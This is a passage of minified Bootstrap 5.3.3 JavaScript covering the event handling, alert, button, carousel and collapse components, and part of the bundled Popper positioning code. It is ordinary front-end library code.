t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};r=t(r)}const l=x(t),c=l[a]||(l[a]={}),h=k(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=O(r,e.replace(v,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(const a of o)if(a===r)return P(s,{delegateTarget:r}),n.oneOff&&N.off(t,s.type,e,i),i.apply(r,[s])}}(t,i,r):function(t,e){return function i(n){return P(n,{delegateTarget:t}),i.oneOff&&N.off(t,n.type,e),e.apply(t,[n])}}(t,r);u.delegationSelector=o?i:null,u.callable=r,u.oneOff=s,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function D(t,e,i,n,s){const o=k(e[i],n,s);o&&(t.removeEventListener(i,o,Boolean(s)),delete e[i][o.uidEvent])}function $(t,e,i,n){const s=e[i]||{};for(const[o,r]of Object.entries(s))o.includes(n)&&D(t,e,i,r.callable,r.delegationSelector)}function I(t){return t=t.replace(y,""),T[t]||t}const N={on(t,e,i,n){S(t,e,i,n,!1)},one(t,e,i,n){S(t,e,i,n,!0)},off(t,e,i,n){if("string"!=typeof e||!t)return;const[s,o,r]=L(e,i,n),a=r!==e,l=x(t),c=l[r]||{},h=e.startsWith(".");if(void 0===o){if(h)for(const i of Object.keys(l))$(t,l,i,e.slice(1));for(const[i,n]of Object.entries(c)){const s=i.replace(w,"");a&&!e.includes(s)||D(t,l,r,n.callable,n.delegationSelector)}}else{if(!Object.keys(c).length)return;D(t,l,r,o,s?i:null)}},trigger(t,e,i){if("string"!=typeof e||!t)return null;const n=u();let s=null,o=!0,r=!0,a=!1;e!==I(e)&&n&&(s=n.Event(e,i),n(t).trigger(s),o=!s.isPropagationStopped(),r=!s.isImmediatePropagationStopped(),a=s.isDefaultPrevented());const l=P(new Event(e,{bubbles:o,cancelable:!0}),i);return a&&l.preventDefault(),r&&t.dispatchEvent(l),l.defaultPrevented&&s&&s.preventDefault(),l}};function P(t,e={}){for(const[i,n]of Object.entries(e))try{t[i]=n}catch(e){Object.defineProperty(t,i,{configurable:!0,get:()=>n})}return t}function j(t){if("true"===t)return!0;if("false"===t)return!1;if(t===Number(t).toString())return Number(t);if(""===t||"null"===t)return null;if("string"!=typeof t)return t;try{return JSON.parse(decodeURIComponent(t))}catch(e){return t}}function M(t){return t.replace(/[A-Z]/g,(t=>`-${t.toLowerCase()}`))}const F={setDataAttribute(t,e,i){t.setAttribute(`data-bs-${M(e)}`,i)},removeDataAttribute(t,e){t.removeAttribute(`data-bs-${M(e)}`)},getDataAttributes(t){if(!t)return{};const e={},i=Object.keys(t.dataset).filter((t=>t.startsWith("bs")&&!t.startsWith("bsConfig")));for(const n of i){let i=n.replace(/^bs/,"");i=i.charAt(0).toLowerCase()+i.slice(1,i.length),e[i]=j(t.dataset[n])}return e},getDataAttribute:(t,e)=>j(t.getAttribute(`data-bs-${M(e)}`))};class H{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}_getConfig(t){return t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const i=o(e)?F.getDataAttribute(e,"config"):{};return{...this.constructor.Default,..."object"==typeof i?i:{},...o(e)?F.getDataAttributes(e):{},..."object"==typeof t?t:{}}}_typeCheckConfig(t,e=this.constructor.DefaultType){for(const[n,s]of Object.entries(e)){const e=t[n],r=o(e)?"element":null==(i=e)?`${i}`:Object.prototype.toString.call(i).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(s).test(r))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option "${n}" provided type "${r}" but expected type "${s}".`)}var i}}class W extends H{constructor(t,i){super(),(t=r(t))&&(this._element=t,this._config=this._getConfig(i),e.set(this._element,this.constructor.DATA_KEY,this))}dispose(){e.remove(this._element,this.constructor.DATA_KEY),N.off(this._element,this.constructor.EVENT_KEY);for(const t of Object.getOwnPropertyNames(this))this[t]=null}_queueCallback(t,e,i=!0){_(t,e,i)}_getConfig(t){return t=this._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return e.get(r(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.3.3"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const B=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i=`#${i.split("#")[1]}`),e=i&&"#"!==i?i.trim():null}return e?e.split(",").map((t=>n(t))).join(","):null},z={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter((t=>t.matches(e))),parents(t,e){const i=[];let n=t.parentNode.closest(e);for(;n;)i.push(n),n=n.parentNode.closest(e);return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]},focusableChildren(t){const e=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!l(t)&&a(t)))},getSelectorFromElement(t){const e=B(t);return e&&z.findOne(e)?e:null},getElementFromSelector(t){const e=B(t);return e?z.findOne(e):null},getMultipleElementsFromSelector(t){const e=B(t);return e?z.find(e):[]}},R=(t,e="hide")=>{const i=`click.dismiss${t.EVENT_KEY}`,n=t.NAME;N.on(document,i,`[data-bs-dismiss="${n}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),l(this))return;const s=z.getElementFromSelector(this)||this.closest(`.${n}`);t.getOrCreateInstance(s)[e]()}))},q=".bs.alert",V=`close${q}`,K=`closed${q}`;class Q extends W{static get NAME(){return"alert"}close(){if(N.trigger(this._element,V).defaultPrevented)return;this._element.classList.remove("show");const t=this._element.classList.contains("fade");this._queueCallback((()=>this._destroyElement()),this._element,t)}_destroyElement(){this._element.remove(),N.trigger(this._element,K),this.dispose()}static jQueryInterface(t){return this.each((function(){const e=Q.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}R(Q,"close"),m(Q);const X='[data-bs-toggle="button"]';class Y extends W{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=Y.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}N.on(document,"click.bs.button.data-api",X,(t=>{t.preventDefault();const e=t.target.closest(X);Y.getOrCreateInstance(e).toggle()})),m(Y);const U=".bs.swipe",G=`touchstart${U}`,J=`touchmove${U}`,Z=`touchend${U}`,tt=`pointerdown${U}`,et=`pointerup${U}`,it={endCallback:null,leftCallback:null,rightCallback:null},nt={endCallback:"(function|null)",leftCallback:"(function|null)",rightCallback:"(function|null)"};class st extends H{constructor(t,e){super(),this._element=t,t&&st.isSupported()&&(this._config=this._getConfig(e),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return it}static get DefaultType(){return nt}static get NAME(){return"swipe"}dispose(){N.off(this._element,U)}_start(t){this._supportPointerEvents?this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX):this._deltaX=t.touches[0].clientX}_end(t){this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX-this._deltaX),this._handleSwipe(),g(this._config.endCallback)}_move(t){this._deltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this._deltaX}_handleSwipe(){const t=Math.abs(this._deltaX);if(t<=40)return;const e=t/this._deltaX;this._deltaX=0,e&&g(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(N.on(this._element,tt,(t=>this._start(t))),N.on(this._element,et,(t=>this._end(t))),this._element.classList.add("pointer-event")):(N.on(this._element,G,(t=>this._start(t))),N.on(this._element,J,(t=>this._move(t))),N.on(this._element,Z,(t=>this._end(t))))}_eventIsPointerPenTouch(t){return this._supportPointerEvents&&("pen"===t.pointerType||"touch"===t.pointerType)}static isSupported(){return"ontouchstart"in document.documentElement||navigator.maxTouchPoints>0}}const ot=".bs.carousel",rt=".data-api",at="next",lt="prev",ct="left",ht="right",dt=`slide${ot}`,ut=`slid${ot}`,ft=`keydown${ot}`,pt=`mouseenter${ot}`,mt=`mouseleave${ot}`,gt=`dragstart${ot}`,_t=`load${ot}${rt}`,bt=`click${ot}${rt}`,vt="carousel",yt="active",wt=".active",At=".carousel-item",Et=wt+At,Tt={ArrowLeft:ht,ArrowRight:ct},Ct={interval:5e3,keyboard:!0,pause:"hover",ride:!1,touch:!0,wrap:!0},Ot={interval:"(number|boolean)",keyboard:"boolean",pause:"(string|boolean)",ride:"(boolean|string)",touch:"boolean",wrap:"boolean"};class xt extends W{constructor(t,e){super(t,e),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=z.findOne(".carousel-indicators",this._element),this._addEventListeners(),this._config.ride===vt&&this.cycle()}static get Default(){return Ct}static get DefaultType(){return Ot}static get NAME(){return"carousel"}next(){this._slide(at)}nextWhenVisible(){!document.hidden&&a(this._element)&&this.next()}prev(){this._slide(lt)}pause(){this._isSliding&&s(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval((()=>this.nextWhenVisible()),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?N.one(this._element,ut,(()=>this.cycle())):this.cycle())}to(t){const e=this._getItems();if(t>e.length-1||t<0)return;if(this._isSliding)return void N.one(this._element,ut,(()=>this.to(t)));const i=this._getItemIndex(this._getActive());if(i===t)return;const n=t>i?at:lt;this._slide(n,e[t])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(t){return t.defaultInterval=t.interval,t}_addEventListeners(){this._config.keyboard&&N.on(this._element,ft,(t=>this._keydown(t))),"hover"===this._config.pause&&(N.on(this._element,pt,(()=>this.pause())),N.on(this._element,mt,(()=>this._maybeEnableCycle()))),this._config.touch&&st.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const t of z.find(".carousel-item img",this._element))N.on(t,gt,(t=>t.preventDefault()));const t={leftCallback:()=>this._slide(this._directionToOrder(ct)),rightCallback:()=>this._slide(this._directionToOrder(ht)),endCallback:()=>{"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout((()=>this._maybeEnableCycle()),500+this._config.interval))}};this._swipeHelper=new st(this._element,t)}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=Tt[t.key];e&&(t.preventDefault(),this._slide(this._directionToOrder(e)))}_getItemIndex(t){return this._getItems().indexOf(t)}_setActiveIndicatorElement(t){if(!this._indicatorsElement)return;const e=z.findOne(wt,this._indicatorsElement);e.classList.remove(yt),e.removeAttribute("aria-current");const i=z.findOne(`[data-bs-slide-to="${t}"]`,this._indicatorsElement);i&&(i.classList.add(yt),i.setAttribute("aria-current","true"))}_updateInterval(){const t=this._activeElement||this._getActive();if(!t)return;const e=Number.parseInt(t.getAttribute("data-bs-interval"),10);this._config.interval=e||this._config.defaultInterval}_slide(t,e=null){if(this._isSliding)return;const i=this._getActive(),n=t===at,s=e||b(this._getItems(),i,n,this._config.wrap);if(s===i)return;const o=this._getItemIndex(s),r=e=>N.trigger(this._element,e,{relatedTarget:s,direction:this._orderToDirection(t),from:this._getItemIndex(i),to:o});if(r(dt).defaultPrevented)return;if(!i||!s)return;const a=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=s;const l=n?"carousel-item-start":"carousel-item-end",c=n?"carousel-item-next":"carousel-item-prev";s.classList.add(c),d(s),i.classList.add(l),s.classList.add(l),this._queueCallback((()=>{s.classList.remove(l,c),s.classList.add(yt),i.classList.remove(yt,c,l),this._isSliding=!1,r(ut)}),i,this._isAnimated()),a&&this.cycle()}_isAnimated(){return this._element.classList.contains("slide")}_getActive(){return z.findOne(Et,this._element)}_getItems(){return z.find(At,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(t){return p()?t===ct?lt:at:t===ct?at:lt}_orderToDirection(t){return p()?t===lt?ct:ht:t===lt?ht:ct}static jQueryInterface(t){return this.each((function(){const e=xt.getOrCreateInstance(this,t);if("number"!=typeof t){if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}else e.to(t)}))}}N.on(document,bt,"[data-bs-slide], [data-bs-slide-to]",(function(t){const e=z.getElementFromSelector(this);if(!e||!e.classList.contains(vt))return;t.preventDefault();const i=xt.getOrCreateInstance(e),n=this.getAttribute("data-bs-slide-to");return n?(i.to(n),void i._maybeEnableCycle()):"next"===F.getDataAttribute(this,"slide")?(i.next(),void i._maybeEnableCycle()):(i.prev(),void i._maybeEnableCycle())})),N.on(window,_t,(()=>{const t=z.find('[data-bs-ride="carousel"]');for(const e of t)xt.getOrCreateInstance(e)})),m(xt);const kt=".bs.collapse",Lt=`show${kt}`,St=`shown${kt}`,Dt=`hide${kt}`,$t=`hidden${kt}`,It=`click${kt}.data-api`,Nt="show",Pt="collapse",jt="collapsing",Mt=`:scope .${Pt} .${Pt}`,Ft='[data-bs-toggle="collapse"]',Ht={parent:null,toggle:!0},Wt={parent:"(null|element)",toggle:"boolean"};class Bt extends W{constructor(t,e){super(t,e),this._isTransitioning=!1,this._triggerArray=[];const i=z.find(Ft);for(const t of i){const e=z.getSelectorFromElement(t),i=z.find(e).filter((t=>t===this._element));null!==e&&i.length&&this._triggerArray.push(t)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Ht}static get DefaultType(){return Wt}static get NAME(){return"collapse"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t=[];if(this._config.parent&&(t=this._getFirstLevelChildren(".collapse.show, .collapse.collapsing").filter((t=>t!==this._element)).map((t=>Bt.getOrCreateInstance(t,{toggle:!1})))),t.length&&t[0]._isTransitioning)return;if(N.trigger(this._element,Lt).defaultPrevented)return;for(const e of t)e.hide();const e=this._getDimension();this._element.classList.remove(Pt),this._element.classList.add(jt),this._element.style[e]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const i=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(jt),this._element.classList.add(Pt,Nt),this._element.style[e]="",N.trigger(this._element,St)}),this._element,!0),this._element.style[e]=`${this._element[i]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(N.trigger(this._element,Dt).defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,d(this._element),this._element.classList.add(jt),this._element.classList.remove(Pt,Nt);for(const t of this._triggerArray){const e=z.getElementFromSelector(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0,this._element.style[t]="",this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(jt),this._element.classList.add(Pt),N.trigger(this._element,$t)}),this._element,!0)}_isShown(t=this._element){return t.classList.contains(Nt)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=r(t.parent),t}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(Ft);for(const e of t){const t=z.getElementFromSelector(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=z.find(Mt,this._config.parent);return z.find(t,this._config.parent).filter((t=>!e.includes(t)))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const i of t)i.classList.toggle("collapsed",!e),i.setAttribute("aria-expanded",e)}static jQueryInterface(t){const e={};return"string"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each((function(){const i=Bt.getOrCreateInstance(this,e);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t]()}}))}}N.on(document,It,Ft,(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();for(const t of z.getMultipleElementsFromSelector(this))Bt.getOrCreateInstance(t,{toggle:!1}).toggle()})),m(Bt);var zt="top",Rt="bottom",qt="right",Vt="left",Kt="auto",Qt=[zt,Rt,qt,Vt],Xt="start",Yt="end",Ut="clippingParents",Gt="viewport",Jt="popper",Zt="reference",te=Qt.reduce((function(t,e){return t.concat([e+"-"+Xt,e+"-"+Yt])}),[]),ee=[].concat(Qt,[Kt]).reduce((function(t,e){return t.concat([e,e+"-"+Xt,e+"-"+Yt])}),[]),ie="beforeRead",ne="read",se="afterRead",oe="beforeMain",re="main",ae="afterMain",le="beforeWrite",ce="write",he="afterWrite",de=[ie,ne,se,oe,re,ae,le,ce,he];function ue(t){return t?(t.nodeName||"").toLowerCase():null}function fe(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function pe(t){return t instanceof fe(t).Element||t instanceof Element}function me(t){return t instanceof fe(t).HTMLElement||t instanceof HTMLElement}function ge(t){return"undefined"!=typeof ShadowRoot&&(t instanceof fe(t).ShadowRoot||t instanceof ShadowRoot)}const _e={name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var i=e.styles[t]||{},n=e.attributes[t]||{},s=e.elements[t];me(s)&&ue(s)&&(Object.assign(s.style,i),Object.keys(n).forEach((function(t){var e=n[t];!1===e?s.removeAttribute(t):s.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,i={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,i.popper),e.styles=i,e.elements.arrow&&Object.assign(e.elements.arrow.style,i.arrow),function(){Object.keys(e.elements).forEach((function(t){var n=e.elements[t],s=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:i[t]).reduce((function(t,e){return t[e]="",t}),{});me(n)&&ue(n)&&(Object.assign(n.style,o),Object.keys(s).forEach((function(t){n.removeAttribute(t)})))}))}},requires:["computeStyles"]};function be(t){return t.split("-")[0]}var ve=Math.max,ye=Math.min,we=Math.round;function Ae(){var t=navigator.userAgentData;return null!=t&&t.brands&&Array.isArray(t.brands)?t.brands.map((function(t){return t.brand+"/"+t.version})).join(" "):navigator.userAgent}function Ee(){return!/^((?!chrome|android).)*safari/i.test(Ae())}function Te(t,e,i){void 0===e&&(e=!1),void 0===i&&(i=!1);var n=t.getBoundingClientRect(),s=1,o=1;e&&me(t)&&(s=t.offsetWidth>0&&we(n.width)/t.offsetWidth||1,o=t.offsetHeight>0&&we(n.height)/t.offsetHeight||1);var r=(pe(t)?fe(t):window).visualViewport,a=!Ee()&&i,l=(n.left+(a&&r?r.offsetLeft:0))/s,c=(n.top+(a&&r?r.offsetTop:0))/o,h=n.width/s,d=n.height/o;return{width:h,height:d,top:c,right:l+h,bottom:c+d,left:l,x:l,y:c}}function Ce(t){var e=Te(t),i=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-i)<=1&&(i=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:i,height:n}}function Oe(t,e){var i=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(i&&ge(i)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function xe(t){return fe(t).getComputedStyle(t)}function ke(t){return["table","td","th"].indexOf(ue(t))>=0}function Le(t){return((pe(t)?t.ownerDocument:t.document)||window.document).documentElement}function Se(t){return"html"===ue(t)?t:t.assignedSlot||t.parentNode||(ge(t)?t.host:null)||Le(t)}function De(t){return me(t)&&"fixed"!==xe(t).position?t.offsetParent:null}function $e(t){for(var e=fe(t),i=De(t);i&&ke(i)&&"static"===xe(i).position;)i=De(i);return i&&("html"===ue(i)||"body"===ue(i)&&"static"===xe(i).position)?e:i||function(t){var e=/firefox/i.test(Ae());if(/Trident/i.test(Ae())&&me(t)&&"fixed"===xe(t).position)return null;var i=Se(t);for(ge(i)&&(i=i.host);me(i)&&["html","body"].indexOf(ue(i))<0;){var n=xe(i);if("none"!==n.transform||"none"!==n.perspective||"paint"===n.contain||-1!==["transform","perspective"].indexOf(n.willChange)||e&&"filter"===n.willChange||e&&n.filter&&"none"!==n.filter)return i;i=i.parentNode}return null}(t)||e}function Ie(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}function Ne(t,e,i){return ve(t,ye(e,i))}function Pe(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function je(t,e){return e.reduce((function(e,i){return e[i]=t,e}),{})}const Me={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,i=t.state,n=t.name,s=t.options,o=i.elements.arrow,r=i.modifiersData.popperOffsets,a=be(i.placement),l=Ie(a),c=[Vt,qt].indexOf(a)>=0?"height":"width";if(o&&r){var h=function(t,e){return Pe("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:je(t,Qt))}(s.padding,i),d=Ce(o),u="y"===l?zt:Vt,f="y"===l?Rt:qt,p=i.rects.reference[c]+i.rects.reference[l]-r[l]-i.rects.popper[c],m=r[l]-i.rects.reference[l],g=$e(o),_=g?"y"===l?g.clientHeight||0:g.clientWidth||0:0,b=p/2-m/2,v=h[u],y=_-d[c]-h[f],w=_/2-d[c]/2+b,A=Ne(v,w,y),E=l;i.modifiersData[n]=((e={})[E]=A,e.centerOffset=A-w,e)}},effect:function(t){var e=t.state,i=t.options.element,n=void 0===i?"[data-popper-arrow]":i;null!=n&&("string"!=typeof n||(n=e.elements.popper.querySelector(n)))&&Oe(e.elements.popper,n)&&(e.elements.arrow=n)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function Fe(t){return t.split("-")[1]}var He={top:"auto",right:"auto",bottom:"auto",left:"auto"};function We(t){var e,i=t.popper,n=t.popperRect,s=t.placement,o=t.variation,r=t.offsets,a=t.position,l=t.gpuAcceleration,c=t.adaptive,h=t.roundOffsets,d=t.isFixed,u=r.x,f=void 0===u?0:u,p=r.y,m=void 0===p?0:p,g="function"==typeof h?h({x:f,y:m}):{x:f,y:m};f=g.x,m=g.y;var _=r.hasOwnProperty("x"),b=r.hasOwnProperty("y"),v=Vt,y=zt,w=window;if(c){var A=$e(i),E="clientHeight",T="clientWidth";A===fe(i)&&"static"!==xe(A=Le(i)).position&&"absolute"===a&&(E="scrollHeight",T="scrollWidth"),(s===zt||(s===Vt||s===qt)&&o===Yt)&&(y=Rt,m-=(d&&A===w&&w.visualViewport?w.visualViewport.height:A[E])-n.height,m*=l?1:-1),s!==Vt&&(s!==zt&&s!==Rt||o!==Yt)||(v=qt,f-=(d&&A===w&&w.visualViewport?w.visualViewport.width:A[T])-n.width,f*=l?1:-1)}var C,O=Object.assign({position:a},c&&He),x=!0===h?function(t,e){var i=t.x,n=t.y,s=e.devicePixelRatio||1;return{x:we(i*s)/s||0,y:we(n*s)/s||0}}({x:f,y:m},fe(i)):{x:f,y:m};return f=x.x,m=x.y,l?Object.assign({},O,((C={})[y]=b?"0":"",C[v]=_?"0":"",C.transform=(w.devicePixelRatio||1)<=1?"translate("+f+"px, "+m+"px)":"translate3d("+f+"px, "+m+"px, 0)",C)):Object.assign({},O,((e={})[y]=b?m+"px":"",e[v]=_?f+"px":"",e.transform="",e))}const Be={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,i=t.options,n=i.gpuAcceleration,s=void 0===n||n,o=i.adaptive,r=void 0===o||o,a=i.roundOffsets,l=void 0===a||a,c={placement:be(e.placement),variation:Fe(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:s,isFixed:"fixed"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,We(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:r,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,We(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}};var ze={passive:!0};const Re={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,i=t.instance,n=t.options,s=n.scroll,o=void 0===s||s,r=n.resize,a=void 0===r||r,l=fe(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",i.update,ze)})),a&&l.addEventListener("resize",i.update,ze),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",i.update,ze)})),a&&l.removeEventListener("resize",i.update,ze)}},data:{}};var qe={left:"right",right:"left",bottom:"top",top:"bottom"};function Ve(t){return t.replace(/left|right|bottom|top/g,(function(t){return qe[t]}))}var Ke={start:"end",end:"start"};function Qe(t){return t.replace(/start|end/g,(function(t){return Ke[t]}))}function Xe(t){var e=fe(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Ye(t){return Te(Le(t)).left+Xe(t).scrollLeft}function Ue(t){var e=xe(t),i=e.overflow,n=e.overflowX,s=e.overflowY;return/auto|scroll|overlay|hidden/.test(i+s+n)}function Ge(t){return["html","body","#document"].indexOf(ue(t))>=0?t.ownerDocument.body:me(t)&&Ue(t)?t:Ge(Se(t))}function Je(t,e){var i;void 0===e&&(e=[]);var n=Ge(t),s=n===(null==(i=t.ownerDocument)?void 0:i.body),o=fe(n),r=s?[o].concat(o.visualViewport||[],Ue(n)?n:[]):n,a=e.concat(r);return s?a:a.concat(Je(Se(r)))}function Ze(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function ti(t,e,i){return e===Gt?Ze(function(t,e){var i=fe(t),n=Le(t),s=i.visualViewport,o=n.clientWidth,r=n.clientHeight,a=0,l=0;if(s){o=s.width,r=s.height;var c=Ee();(c||!c&&"fixed"===e)&&(a=s.offsetLeft,l=s.offsetTop)}return{width:o,height:r,x:a+Ye(t),y:l}}(t,i)):pe(e)?function(t,e){var i=Te(t,!1,"fixed"===e);return i.top=i.top+t.clientTop,i.left=i.left+t.clientLeft,i.bottom=i.top+t.clientHeight,i.right=i.left+t.clientWidth,i.width=t.clientWidth,i.height=t.clientHeight,i.x=i.left,i.y=i.top,i}(e,i):Ze(function(t){var e,i=Le(t),n=Xe(t),s=null==(e=t.ownerDocument)?void 0:e.body,o=ve(i.scrollWidth,i.clientWidth,s?s.scrollWidth:0,s?s.clientWidth:0),r=ve(i.scrollHeight,i.clientHeight,s?s.scrollHeight:0,s?s.clientHeight:0),a=-n.scrollLeft+Ye(t),l=-n.scrollTop;return"rtl"===xe(s||i).direction&&(a+=ve(i.clientWidth,s?s.clientWidth:0)-o),{width:o,height:r,x:a,y:l}}(Le(t)))}function ei(t){var e,i=t.reference,n=t.element,s=t.placement,o=s?be(s):null,r=s?Fe(s):null,a=i.x+i.width/2-n.width/2,l=i.y+i.height/2-n.height/2;switch(o){case zt:e={x:a,y:i.y-n.height};break;case Rt:e={x:a,y:i.y+i.height};break;case qt:e={x:i.x+i.width,y:l};break;case Vt:e={x:i.x-n.width,y:l};break;default:e={x:i.x,y:i.y}}var c=o?Ie(o):null;if(null!=c){var h="y"===c?"height":"width";switch(r){case Xt:e[c]=e[c]-(i[h]/2-n[h]/2);break;case Yt:e[c]=e[c]+(i[h]/2-n[h]/2)}}return e}function ii(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=void 0===n?t.placement:n,o=i.strategy,r=void 0===o?t.strategy:o,a=i.boundary,l=void 0===a?Ut:a,c=i.rootBoundary,h=void 0===c?Gt:c,d=i.elementContext,u=void 0===d?Jt:d,f=i.altBoundary,p=void 0!==f&&f,m=i.padding,g=void 0===m?0:m,_=Pe("number"!=typeof g?g:je(g,Qt)),b=u===Jt?Zt:Jt,v=t.rects.popper,y=t.elements[p?b:u],w=function(t,e,i,n){var s="clippingParents"===e?function(t){var e=Je(Se(t)),i=["absolute","fixed"].indexOf(xe(t).position)>=0&&me(t)?$e(t):t;return pe(i)?e.filter((function(t){return pe(t)&&Oe(t,i)&&"body"!==ue(t)})):[]}(t):[].concat(e),o=[].concat(s,[i]),r=o[0],a=o.reduce((function(e,i){var s=ti(t,i,n);return e.top=ve(s.top,e.top),e.right=ye(s.right,e.right),e.bottom=ye(s.bottom,e.bottom),e.left=ve(s.left,e.left),e}),ti(t,r,n));return 